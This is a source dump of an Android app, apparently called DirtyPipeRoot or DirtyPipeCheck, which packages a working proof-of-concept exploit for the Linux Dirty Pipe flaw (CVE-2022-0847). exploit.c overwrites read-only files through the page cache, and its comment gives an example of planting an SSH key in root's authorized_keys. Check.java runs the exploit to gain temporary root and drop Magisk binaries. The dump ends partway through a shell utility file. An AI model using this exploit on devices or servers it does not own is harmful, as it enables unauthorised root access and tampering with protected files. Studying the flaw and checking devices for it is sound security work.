├── .gitignore ├── .gitmodules ├── .idea ├── .gitignore ├── compiler.xml ├── gradle.xml ├── misc.xml └── vcs.xml ├── README.md ├── app ├── .gitignore ├── build.gradle ├── proguard-rules.pro ├── release │ ├── DirtyPipeCheck.apk │ └── output-metadata.json └── src │ ├── androidTest │ └── java │ │ └── me │ │ └── weishu │ │ └── dirtypipecheck │ │ └── ExampleInstrumentedTest.java │ ├── main │ ├── AndroidManifest.xml │ ├── cpp │ │ ├── CMakeLists.txt │ │ ├── dirtypipecheck.cpp │ │ ├── exploit.c │ │ └── explot.h │ ├── java │ │ └── me │ │ │ └── weishu │ │ │ └── dirtypipecheck │ │ │ ├── Check.java │ │ │ ├── MainActivity.java │ │ │ └── ShellUtils.java │ └── res │ │ ├── drawable-v24 │ │ └── ic_launcher_foreground.xml │ │ ├── drawable │ │ └── ic_launcher_background.xml │ │ ├── layout │ │ └── main.xml │ │ ├── menu │ │ └── main_menu.xml │ │ ├── mipmap-anydpi-v26 │ │ ├── ic_launcher.xml │ │ └── ic_launcher_round.xml │ │ ├── mipmap-hdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── mipmap-mdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── mipmap-xhdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── mipmap-xxhdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── mipmap-xxxhdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── values-land │ │ └── dimens.xml │ │ ├── values-zh-rCN │ │ └── strings.xml │ │ ├── values │ │ ├── colors.xml │ │ ├── dimens.xml │ │ ├── strings.xml │ │ └── themes.xml │ │ └── xml │ │ ├── backup_rules.xml │ │ └── data_extraction_rules.xml │ └── test │ └── java │ └── me │ └── weishu │ └── dirtypipecheck │ └── ExampleUnitTest.java ├── build.gradle ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat └── settings.gradle /.gitignore: -------------------------------------------------------------------------------- 1 | *.iml 2 | .gradle 3 | /local.properties 4 | /.idea/caches 5 | /.idea/libraries 6 | /.idea/modules.xml 7 | /.idea/workspace.xml 8 | /.idea/navEditor.xml 9 | /.idea/assetWizardSettings.xml 10 | .DS_Store 11 | /build 12 | /captures 13 | .externalNativeBuild 14 | .cxx 15 | local.properties 16 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "DirtyPipe-Android"] 2 | path = DirtyPipe-Android 3 | url = https://github.com/tiann/DirtyPipe-Android 4 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/gradle.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 19 | 20 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 10 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DirtyPipeRoot 2 | 3 | Using [DirtyPipe](https://github.com/polygraphene/DirtyPipe-Android) to gain temporary root access for Android devices. 4 | 5 | ## Warning 6 | 7 | !!! THIS MAY BRICK YOUR DEVICE !!! USE AT YOUR OWN RISK !!! 8 | 9 | ## About Magisk 10 | 11 | 1. Don't use install button on magisk app. It will brick your phone. 12 | 2. Don't reboot even if magisk app request. It will lose temporary root. 13 | 3. Only support root access. No magisk/zygisk modules support. 14 | 15 | # License 16 | 17 | GPLv3 and MIT dual license. 18 | 19 | # Credits 20 | 21 | 1. https://github.com/polygraphene/DirtyPipe-Android 22 | 2. https://github.com/0xIronGoat/dirty-pipe 23 | 3. https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits 24 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | /src/main/assets/magisk/ 3 | /src/main/assets/startup-root 4 | /src/main/jniLibs/arm64-v8a/libdirtypipe.so 5 | /src/main/assets/env-patcher 6 | /release/ 7 | -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'com.android.application' 3 | } 4 | 5 | android { 6 | namespace 'me.weishu.dirtypipecheck' 7 | compileSdk 32 8 | 9 | defaultConfig { 10 | applicationId "me.weishu.dirtypipecheck" 11 | minSdk 28 12 | targetSdk 32 13 | versionCode 203 14 | versionName "2.3" 15 | 16 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" 17 | externalNativeBuild { 18 | cmake { 19 | cppFlags '' 20 | } 21 | } 22 | } 23 | 24 | buildTypes { 25 | release { 26 | minifyEnabled false 27 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 28 | } 29 | } 30 | compileOptions { 31 | sourceCompatibility JavaVersion.VERSION_1_8 32 | targetCompatibility JavaVersion.VERSION_1_8 33 | } 34 | buildFeatures { 35 | viewBinding true 36 | } 37 | externalNativeBuild { 38 | cmake { 39 | path file('src/main/cpp/CMakeLists.txt') 40 | version '3.18.1' 41 | } 42 | } 43 | ndkVersion '25.0.8775105' 44 | } 45 | 46 | dependencies { 47 | 48 | def appCenterSdkVersion = '4.4.5' 49 | implementation "com.microsoft.appcenter:appcenter-analytics:${appCenterSdkVersion}" 50 | implementation "com.microsoft.appcenter:appcenter-crashes:${appCenterSdkVersion}" 51 | 52 | testImplementation 'junit:junit:4.13.2' 53 | androidTestImplementation 'androidx.test.ext:junit:1.1.3' 54 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0' 55 | } -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile -------------------------------------------------------------------------------- /app/release/DirtyPipeCheck.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiann/DirtyPipeRoot/c635bd4746d54a2e7f65e578a5141df77068bba3/app/release/DirtyPipeCheck.apk -------------------------------------------------------------------------------- /app/release/output-metadata.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": 3, 3 | "artifactType": { 4 | "type": "APK", 5 | "kind": "Directory" 6 | }, 7 | "applicationId": "me.weishu.dirtypipecheck", 8 | "variantName": "release", 9 | "elements": [ 10 | { 11 | "type": "SINGLE", 12 | "filters": [], 13 | "attributes": [], 14 | "versionCode": 1, 15 | "versionName": "1.0", 16 | "outputFile": "app-release.apk" 17 | } 18 | ], 19 | "elementType": "File" 20 | } -------------------------------------------------------------------------------- /app/src/androidTest/java/me/weishu/dirtypipecheck/ExampleInstrumentedTest.java: -------------------------------------------------------------------------------- 1 | package me.weishu.dirtypipecheck; 2 | 3 | import android.content.Context; 4 | 5 | import androidx.test.platform.app.InstrumentationRegistry; 6 | import androidx.test.ext.junit.runners.AndroidJUnit4; 7 | 8 | import org.junit.Test; 9 | import org.junit.runner.RunWith; 10 | 11 | import static org.junit.Assert.*; 12 | 13 | /** 14 | * Instrumented test, which will execute on an Android device. 15 | * 16 | * @see Testing documentation 17 | */ 18 | @RunWith(AndroidJUnit4.class) 19 | public class ExampleInstrumentedTest { 20 | @Test 21 | public void useAppContext() { 22 | // Context of the app under test. 23 | Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); 24 | assertEquals("me.weishu.dirtypipecheck", appContext.getPackageName()); 25 | } 26 | } -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 15 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /app/src/main/cpp/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | # For more information about using CMake with Android Studio, read the 3 | # documentation: https://d.android.com/studio/projects/add-native-code.html 4 | 5 | # Sets the minimum version of CMake required to build the native library. 6 | 7 | cmake_minimum_required(VERSION 3.18.1) 8 | 9 | # Declares and names the project. 10 | 11 | project("dirtypipecheck") 12 | 13 | # Creates and names a library, sets it as either STATIC 14 | # or SHARED, and provides the relative paths to its source code. 15 | # You can define multiple libraries, and CMake builds them for you. 16 | # Gradle automatically packages shared libraries with your APK. 17 | 18 | add_library( # Sets the name of the library. 19 | dirtypipecheck 20 | 21 | # Sets the library as a shared library. 22 | SHARED 23 | 24 | # Provides a relative path to your source file(s). 25 | dirtypipecheck.cpp exploit.c) 26 | 27 | # Searches for a specified prebuilt library and stores the path as a 28 | # variable. Because CMake includes system libraries in the search path by 29 | # default, you only need to specify the name of the public NDK library 30 | # you want to add. CMake verifies that the library exists before 31 | # completing its build. 32 | 33 | find_library( # Sets the name of the path variable. 34 | log-lib 35 | 36 | # Specifies the name of the NDK library that 37 | # you want CMake to locate. 38 | log ) 39 | 40 | # Specifies libraries CMake should link to your target library. You 41 | # can link multiple libraries, such as libraries you define in this 42 | # build script, prebuilt third-party libraries, or system libraries. 43 | 44 | target_link_libraries( # Specifies the target library. 45 | dirtypipecheck 46 | 47 | # Links the target library to the log library 48 | # included in the NDK. 49 | ${log-lib} ) 50 | -------------------------------------------------------------------------------- /app/src/main/cpp/dirtypipecheck.cpp: -------------------------------------------------------------------------------- 1 | // Write C++ code here. 2 | // 3 | // Do not forget to dynamically load the C++ library into your application. 4 | // 5 | // For instance, 6 | // 7 | // In MainActivity.java: 8 | // static { 9 | // System.loadLibrary("dirtypipecheck"); 10 | // } 11 | // 12 | // Or, in MainActivity.kt: 13 | // companion object { 14 | // init { 15 | // System.loadLibrary("dirtypipecheck") 16 | // } 17 | // } 18 | 19 | #include 20 | #include 21 | #include "explot.h" 22 | 23 | extern "C" 24 | JNIEXPORT void JNICALL 25 | Java_me_weishu_dirtypipecheck_Check_check(JNIEnv *env, jclass clazz, jstring path) { 26 | 27 | auto cpath = env->GetStringUTFChars(path, nullptr); 28 | 29 | exploit(cpath, 1, "test"); 30 | 31 | env->ReleaseStringUTFChars(path, cpath); 32 | } -------------------------------------------------------------------------------- /app/src/main/cpp/exploit.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 */ 2 | /* 3 | * Copyright 2022 CM4all GmbH / IONOS SE 4 | * 5 | * author: Max Kellermann 6 | * 7 | * Proof-of-concept exploit for the Dirty Pipe 8 | * vulnerability (CVE-2022-0847) caused by an uninitialized 9 | * "pipe_buffer.flags" variable. It demonstrates how to overwrite any 10 | * file contents in the page cache, even if the file is not permitted 11 | * to be written, immutable or on a read-only mount. 12 | * 13 | * This exploit requires Linux 5.8 or later; the code path was made 14 | * reachable by commit f6dd975583bd ("pipe: merge 15 | * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was 16 | * there before, it just provided an easy way to exploit it. 17 | * 18 | * There are two major limitations of this exploit: the offset cannot 19 | * be on a page boundary (it needs to write one byte before the offset 20 | * to add a reference to this page to the pipe), and the write cannot 21 | * cross a page boundary. 22 | * 23 | * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' 24 | * 25 | * Further explanation: https://dirtypipe.cm4all.com/ 26 | */ 27 | 28 | #define _GNU_SOURCE 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | 37 | #ifndef PAGE_SIZE 38 | #define PAGE_SIZE 4096 39 | #endif 40 | 41 | /** 42 | * Create a pipe where all "bufs" on the pipe_inode_info ring have the 43 | * PIPE_BUF_FLAG_CAN_MERGE flag set. 44 | */ 45 | static void prepare_pipe(int p[2]) 46 | { 47 | if (pipe(p)) abort(); 48 | 49 | const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); 50 | static char buffer[4096]; 51 | 52 | /* fill the pipe completely; each pipe_buffer will now have 53 | the PIPE_BUF_FLAG_CAN_MERGE flag */ 54 | for (unsigned r = pipe_size; r > 0;) { 55 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 56 | write(p[1], buffer, n); 57 | r -= n; 58 | } 59 | 60 | /* drain the pipe, freeing all pipe_buffer instances (but 61 | leaving the flags initialized) */ 62 | for (unsigned r = pipe_size; r > 0;) { 63 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 64 | read(p[0], buffer, n); 65 | r -= n; 66 | } 67 | 68 | /* the pipe is now empty, and if somebody adds a new 69 | pipe_buffer without initializing its "flags", the buffer 70 | will be mergeable */ 71 | } 72 | 73 | int exploit(const char *const path, loff_t offset, const char *const data) 74 | { 75 | 76 | size_t data_size = strlen(data); 77 | 78 | if (offset % PAGE_SIZE == 0) { 79 | fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); 80 | return EXIT_FAILURE; 81 | } 82 | 83 | const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; 84 | const loff_t end_offset = offset + (loff_t)data_size; 85 | if (end_offset > next_page) { 86 | fprintf(stderr, "Sorry, cannot write across a page boundary\n"); 87 | return EXIT_FAILURE; 88 | } 89 | 90 | /* open the input file and validate the specified offset */ 91 | const int fd = open(path, O_RDONLY); // yes, read-only! :-) 92 | if (fd < 0) { 93 | perror("open failed"); 94 | return EXIT_FAILURE; 95 | } 96 | 97 | struct stat st; 98 | if (fstat(fd, &st)) { 99 | perror("stat failed"); 100 | return EXIT_FAILURE; 101 | } 102 | 103 | if (offset > st.st_size) { 104 | fprintf(stderr, "Offset is not inside the file\n"); 105 | return EXIT_FAILURE; 106 | } 107 | 108 | if (end_offset > st.st_size) { 109 | fprintf(stderr, "Sorry, cannot enlarge the file\n"); 110 | return EXIT_FAILURE; 111 | } 112 | 113 | /* create the pipe with all flags initialized with 114 | PIPE_BUF_FLAG_CAN_MERGE */ 115 | int p[2]; 116 | prepare_pipe(p); 117 | 118 | /* splice one byte from before the specified offset into the 119 | pipe; this will add a reference to the page cache, but 120 | since copy_page_to_iter_pipe() does not initialize the 121 | "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ 122 | --offset; 123 | ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); 124 | if (nbytes < 0) { 125 | perror("splice failed"); 126 | return EXIT_FAILURE; 127 | } 128 | if (nbytes == 0) { 129 | fprintf(stderr, "short splice\n"); 130 | return EXIT_FAILURE; 131 | } 132 | 133 | /* the following write will not create a new pipe_buffer, but 134 | will instead write into the page cache, because of the 135 | PIPE_BUF_FLAG_CAN_MERGE flag */ 136 | nbytes = write(p[1], data, data_size); 137 | if (nbytes < 0) { 138 | perror("write failed"); 139 | return EXIT_FAILURE; 140 | } 141 | if ((size_t)nbytes < data_size) { 142 | fprintf(stderr, "short write\n"); 143 | return EXIT_FAILURE; 144 | } 145 | 146 | printf("It worked!\n"); 147 | return EXIT_SUCCESS; 148 | } 149 | -------------------------------------------------------------------------------- /app/src/main/cpp/explot.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by weishu on 2022/11/26. 3 | // 4 | 5 | #ifndef DIRTYPIPECHECK_EXPLOT_H 6 | #define DIRTYPIPECHECK_EXPLOT_H 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | extern "C" { 17 | int exploit(const char *const path, loff_t offset, const char *const data); 18 | } 19 | 20 | #endif //DIRTYPIPECHECK_EXPLOT_H 21 | -------------------------------------------------------------------------------- /app/src/main/java/me/weishu/dirtypipecheck/Check.java: -------------------------------------------------------------------------------- 1 | package me.weishu.dirtypipecheck; 2 | 3 | import android.content.Context; 4 | import android.content.res.AssetManager; 5 | import android.os.SystemClock; 6 | import android.util.Log; 7 | import android.view.Window; 8 | import android.view.WindowManager; 9 | 10 | import java.io.File; 11 | import java.io.IOException; 12 | import java.io.InputStream; 13 | import java.nio.file.Files; 14 | import java.nio.file.StandardCopyOption; 15 | import java.util.Random; 16 | 17 | /** 18 | * @author weishu 19 | * @date 2022/11/26. 20 | */ 21 | 22 | public final class Check { 23 | 24 | private static final String TAG = "DirtyPipeCheck"; 25 | 26 | static { 27 | System.loadLibrary("dirtypipecheck"); 28 | } 29 | 30 | public static native void check(String path); 31 | 32 | public static void getRoot(Context context, Window window) { 33 | 34 | File baseDir = new File(context.getCacheDir(), "dirtypipe"); 35 | if (!baseDir.exists()) { 36 | baseDir.mkdirs(); 37 | } 38 | 39 | extractAssets(context, baseDir); 40 | 41 | String nativeLibraryDir = context.getApplicationInfo().nativeLibraryDir; 42 | String path = nativeLibraryDir + "/libdirtypipe.so"; 43 | 44 | String cmd = String.format("export BASE_DIR=%s;%s -f",baseDir.getAbsolutePath(), path); 45 | 46 | Log.w(TAG, "cmd: " + cmd); 47 | 48 | ShellUtils.CommandResult commandResult = ShellUtils.execCmd(cmd, false); 49 | Log.i(TAG, "result: " + commandResult); 50 | 51 | // trigger init property change! 52 | WindowManager.LayoutParams lp = window.getAttributes(); 53 | lp.screenBrightness = randomFloat(0.01f, 0.5f); 54 | Log.i(TAG, "brightness: " + lp.screenBrightness); 55 | window.setAttributes(lp); 56 | 57 | SystemClock.sleep(100); 58 | 59 | lp.screenBrightness = randomFloat(0.6f, 1.0f); 60 | Log.i(TAG, "brightness: " + lp.screenBrightness); 61 | window.setAttributes(lp); 62 | } 63 | 64 | public static float randomFloat(float min, float max) { 65 | Random random = new Random(); 66 | return random.nextFloat() * (max - min) + min; 67 | } 68 | 69 | @SuppressWarnings("ResultOfMethodCallIgnored") 70 | private static void extractAssets(Context context, File baseDir) { 71 | AssetManager assets = context.getAssets(); 72 | 73 | // copy startup-root 74 | File startupRoot = new File(baseDir, "startup-root"); 75 | try (InputStream in = assets.open("startup-root")) { 76 | Files.copy(in, startupRoot.toPath(), StandardCopyOption.REPLACE_EXISTING); 77 | } catch (IOException e) { 78 | throw new RuntimeException(e); 79 | } 80 | 81 | startupRoot.setExecutable(true, false); 82 | 83 | // copy env-patcher 84 | File envPatcher = new File(baseDir, "env-patcher"); 85 | try (InputStream in = assets.open("env-patcher")) { 86 | Files.copy(in, envPatcher.toPath(), StandardCopyOption.REPLACE_EXISTING); 87 | } catch (IOException e) { 88 | throw new RuntimeException(e); 89 | } 90 | 91 | envPatcher.setExecutable(true, false); 92 | 93 | // copy magisk dir 94 | File magiskDir = new File(baseDir, "magisk"); 95 | magiskDir.mkdirs(); 96 | 97 | try { 98 | String[] files = assets.list("magisk"); 99 | 100 | for (String file : files) { 101 | File target = new File(magiskDir, file); 102 | if (!target.exists()) { 103 | target.createNewFile(); 104 | } 105 | InputStream stream = assets.open("magisk/" + file); 106 | Files.copy(stream, target.toPath(), StandardCopyOption.REPLACE_EXISTING); 107 | stream.close(); 108 | target.setExecutable(true, false); 109 | } 110 | } catch (IOException e) { 111 | throw new RuntimeException(e); 112 | } 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /app/src/main/java/me/weishu/dirtypipecheck/MainActivity.java: -------------------------------------------------------------------------------- 1 | package me.weishu.dirtypipecheck; 2 | 3 | import android.app.Activity; 4 | import android.app.AlertDialog; 5 | import android.graphics.Color; 6 | import android.os.Build; 7 | import android.os.Bundle; 8 | import android.util.Log; 9 | import android.view.Menu; 10 | import android.view.MenuItem; 11 | import android.widget.Button; 12 | 13 | import com.microsoft.appcenter.AppCenter; 14 | import com.microsoft.appcenter.analytics.Analytics; 15 | import com.microsoft.appcenter.crashes.Crashes; 16 | 17 | import java.io.File; 18 | import java.io.IOException; 19 | import java.nio.file.Files; 20 | import java.util.HashMap; 21 | 22 | public class MainActivity extends Activity { 23 | 24 | private static final String TAG = "MainActivity"; 25 | 26 | @Override 27 | protected void onCreate(Bundle savedInstanceState) { 28 | super.onCreate(savedInstanceState); 29 | 30 | AppCenter.start(getApplication(), "1be20f3b-2af7-4d2a-888e-3889f2b6fcf3", 31 | Analytics.class, Crashes.class); 32 | 33 | setContentView(R.layout.main); 34 | 35 | Button button = findViewById(R.id.btn); 36 | 37 | button.setOnClickListener(v -> { 38 | File tmpfile = new File(getCacheDir(), ".dirty_pipe_check"); 39 | if (tmpfile.exists()) { 40 | tmpfile.delete(); 41 | } 42 | try (java.io.FileOutputStream fos = new java.io.FileOutputStream(tmpfile)) { 43 | fos.write("1111111111111111111111111111111111111111111111111111111".getBytes()); 44 | } catch (Exception e) { 45 | Log.e(TAG, "err: ", e); 46 | } 47 | 48 | Check.check(tmpfile.getAbsolutePath()); 49 | 50 | String content = ""; 51 | try { 52 | content = new String(Files.readAllBytes(tmpfile.toPath())); 53 | } catch (IOException ignored) { 54 | } 55 | 56 | Log.w(TAG, "content: " + content); 57 | boolean vulnerable = content.contains("test"); 58 | 59 | if (vulnerable) { 60 | Analytics.trackEvent("vulnerable", new HashMap() {{ 61 | put("product", Build.PRODUCT); 62 | put("model", Build.MODEL); 63 | put("fingerprint", Build.FINGERPRINT); 64 | put("os", System.getProperty("os.version")); 65 | }}); 66 | } else { 67 | Analytics.trackEvent("invulnerable", new HashMap() {{ 68 | put("product", Build.PRODUCT); 69 | put("model", Build.MODEL); 70 | put("fingerprint", Build.FINGERPRINT); 71 | put("os", System.getProperty("os.version")); 72 | }}); 73 | } 74 | 75 | button.setBackgroundColor(vulnerable ? Color.GREEN : Color.RED); 76 | 77 | if (vulnerable) { 78 | new AlertDialog.Builder(this) 79 | .setTitle(android.R.string.dialog_alert_title) 80 | .setMessage(R.string.vulnerable_tips) 81 | .setPositiveButton(android.R.string.ok, (dialog, which) -> dialog.dismiss()) 82 | .show(); 83 | } 84 | }); 85 | } 86 | 87 | @Override 88 | public boolean onCreateOptionsMenu(Menu menu) { 89 | getMenuInflater().inflate(R.menu.main_menu, menu); 90 | 91 | MenuItem item = menu.findItem(R.id.memu_getroot); 92 | item.setOnMenuItemClickListener(item1 -> { 93 | 94 | new AlertDialog.Builder(this) 95 | .setTitle(android.R.string.dialog_alert_title) 96 | .setMessage(R.string.get_root_confirm) 97 | .setPositiveButton(R.string.i_know_it, 98 | (dialog, which) -> { 99 | Check.getRoot(MainActivity.this, getWindow()); 100 | 101 | new AlertDialog.Builder(this) 102 | .setTitle(android.R.string.dialog_alert_title) 103 | .setMessage(R.string.get_root_tips) 104 | .setPositiveButton(android.R.string.ok, (dialog1, which1) -> { 105 | new AlertDialog.Builder(this).setTitle(android.R.string.dialog_alert_title) 106 | .setMessage(R.string.get_root_tips2) 107 | .setCancelable(false) 108 | .setPositiveButton(android.R.string.ok, (dialog2, which2) -> { 109 | dialog2.dismiss(); 110 | dialog1.dismiss(); 111 | dialog.dismiss(); 112 | }).show(); 113 | }) 114 | .setCancelable(false) 115 | .show(); 116 | 117 | }) 118 | .setNegativeButton(android.R.string.cancel, null) 119 | .show(); 120 | return true; 121 | }); 122 | 123 | MenuItem about = menu.findItem(R.id.menu_about); 124 | about.setOnMenuItemClickListener(item1 -> { 125 | 126 | new AlertDialog.Builder(this) 127 | .setTitle(R.string.about) 128 | .setMessage(R.string.author) 129 | .show(); 130 | return true; 131 | }); 132 | 133 | return super.onCreateOptionsMenu(menu); 134 | } 135 | } -------------------------------------------------------------------------------- /app/src/main/java/me/weishu/dirtypipecheck/ShellUtils.java: -------------------------------------------------------------------------------- 1 | package me.weishu.dirtypipecheck; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.DataOutputStream; 5 | import java.io.IOException; 6 | import java.io.InputStreamReader; 7 | import java.util.List; 8 | 9 | /** 10 | *
 11 |  *     author: Blankj
 12 |  *     blog  : http://blankj.com
 13 |  *     time  : 2016/08/07
 14 |  *     desc  : utils about shell
 15 |  * 
16 | */ 17 | public final class ShellUtils { 18 | 19 | private static final String LINE_SEP = System.getProperty("line.separator"); 20 | 21 | private ShellUtils() { 22 | throw new UnsupportedOperationException("u can't instantiate me..."); 23 | } 24 | 25 | /** 26 | * Execute the command. 27 | * 28 | * @param command The command. 29 | * @param isRooted True to use root, false otherwise. 30 | * @return the single {@link CommandResult} instance 31 | */ 32 | public static CommandResult execCmd(final String command, final boolean isRooted) { 33 | return execCmd(new String[]{command}, isRooted, true); 34 | } 35 | 36 | /** 37 | * Execute the command. 38 | * 39 | * @param command The command. 40 | * @param envp The environment variable settings. 41 | * @param isRooted True to use root, false otherwise. 42 | * @return the single {@link CommandResult} instance 43 | */ 44 | public static CommandResult execCmd(final String command, final List envp, final boolean isRooted) { 45 | return execCmd(new String[]{command}, 46 | envp == null ? null : envp.toArray(new String[]{}), 47 | isRooted, 48 | true); 49 | } 50 | 51 | /** 52 | * Execute the command. 53 | * 54 | * @param commands The commands. 55 | * @param isRooted True to use root, false otherwise. 56 | * @return the single {@link CommandResult} instance 57 | */ 58 | public static CommandResult execCmd(final List commands, final boolean isRooted) { 59 | return execCmd(commands == null ? null : commands.toArray(new String[]{}), isRooted, true); 60 | } 61 | 62 | /** 63 | * Execute the command. 64 | * 65 | * @param commands The commands. 66 | * @param envp The environment variable settings. 67 | * @param isRooted True to use root, false otherwise. 68 | * @return the single {@link CommandResult} instance 69 | */ 70 | public static CommandResult execCmd(final List commands, 71 | final List envp, 72 | final boolean isRooted) { 73 | return execCmd(commands == null ? null : commands.toArray(new String[]{}), 74 | envp == null ? null : envp.toArray(new String[]{}), 75 | isRooted, 76 | true); 77 | } 78 | 79 | /** 80 | * Execute the command. 81 | * 82 | * @param commands The commands. 83 | * @param isRooted True to use root, false otherwise. 84 | * @return the single {@link CommandResult} instance 85 | */ 86 | public static CommandResult execCmd(final String[] commands, final boolean isRooted) { 87 | return execCmd(commands, isRooted, true); 88 | } 89 | 90 | /** 91 | * Execute the command. 92 | * 93 | * @param command The command. 94 | * @param isRooted True to use root, false otherwise. 95 | * @param isNeedResultMsg True to return the message of result, false otherwise. 96 | * @return the single {@link CommandResult} instance 97 | */ 98 | public static CommandResult execCmd(final String command, 99 | final boolean isRooted, 100 | final boolean isNeedResultMsg) { 101 | return execCmd(new String[]{command}, isRooted, isNeedResultMsg); 102 | } 103 | 104 | /** 105 | * Execute the command. 106 | * 107 | * @param command The command. 108 | * @param envp The environment variable settings. 109 | * @param isRooted True to use root, false otherwise. 110 | * @param isNeedResultMsg True to return the message of result, false otherwise. 111 | * @return the single {@link CommandResult} instance 112 | */ 113 | public static CommandResult execCmd(final String command, 114 | final List envp, 115 | final boolean isRooted, 116 | final boolean isNeedResultMsg) { 117 | return execCmd(new String[]{command}, envp == null ? null : envp.toArray(new String[]{}), 118 | isRooted, 119 | isNeedResultMsg); 120 | } 121 | 122 | /** 123 | * Execute the command. 124 | * 125 | * @param command The command. 126 | * @param envp The environment variable settings array. 127 | * @param isRooted True to use root, false otherwise. 128 | * @param isNeedResultMsg True to return the message of result, false otherwise. 129 | * @return the single {@link CommandResult} instance 130 | */ 131 | public static CommandResult execCmd(final String command, 132 | final String[] envp, 133 | final boolean isRooted, 134 | final boolean isNeedResultMsg) { 135 | return execCmd(new String[]{command}, envp, isRooted, isNeedResultMsg); 136 | } 137 | 138 | /** 139 | * Execute the command. 140 | * 141 | * @param commands The commands. 142 | * @param isRooted True to use root, false otherwise. 143 | * @param isNeedResultMsg True to return the message of result, false otherwise. 144 | * @return the single {@link CommandResult} instance 145 | */ 146 | public static CommandResult execCmd(final List commands, 147 | final boolean isRooted, 148 | final boolean isNeedResultMsg) { 149 | return execCmd(commands == null ? null : commands.toArray(new String[]{}), 150 | isRooted, 151 | isNeedResultMsg); 152 | } 153 | 154 | /** 155 | * Execute the command. 156 | * 157 | * @param commands The commands. 158 | * @param isRooted True to use root, false otherwise. 159 | * @param isNeedResultMsg True to return the message of result, false otherwise. 160 | * @return the single {@link CommandResult} instance 161 | */ 162 | public static CommandResult execCmd(final String[] commands, 163 | final boolean isRooted, 164 | final boolean isNeedResultMsg) { 165 | return execCmd(commands, null, isRooted, isNeedResultMsg); 166 | } 167 | 168 | /** 169 | * Execute the command. 170 | * 171 | * @param commands The commands. 172 | * @param envp Array of strings, each element of which 173 | * has environment variable settings in the format 174 | * name=value, or 175 | * null if the subprocess should inherit 176 | * the environment of the current process. 177 | * @param isRooted True to use root, false otherwise. 178 | * @param isNeedResultMsg True to return the message of result, false otherwise. 179 | * @return the single {@link CommandResult} instance 180 | */ 181 | public static CommandResult execCmd(final String[] commands, 182 | final String[] envp, 183 | final boolean isRooted, 184 | final boolean isNeedResultMsg) { 185 | int result = -1; 186 | if (commands == null || commands.length == 0) { 187 | return new CommandResult(result, "", ""); 188 | } 189 | Process process = null; 190 | BufferedReader successResult = null; 191 | BufferedReader errorResult = null; 192 | StringBuilder successMsg = null; 193 | StringBuilder errorMsg = null; 194 | DataOutputStream os = null; 195 | try { 196 | process = Runtime.getRuntime().exec(isRooted ? "su" : "sh", envp, null); 197 | os = new DataOutputStream(process.getOutputStream()); 198 | for (String command : commands) { 199 | if (command == null) continue; 200 | os.write(command.getBytes()); 201 | os.writeBytes(LINE_SEP); 202 | os.flush(); 203 | } 204 | os.writeBytes("exit" + LINE_SEP); 205 | 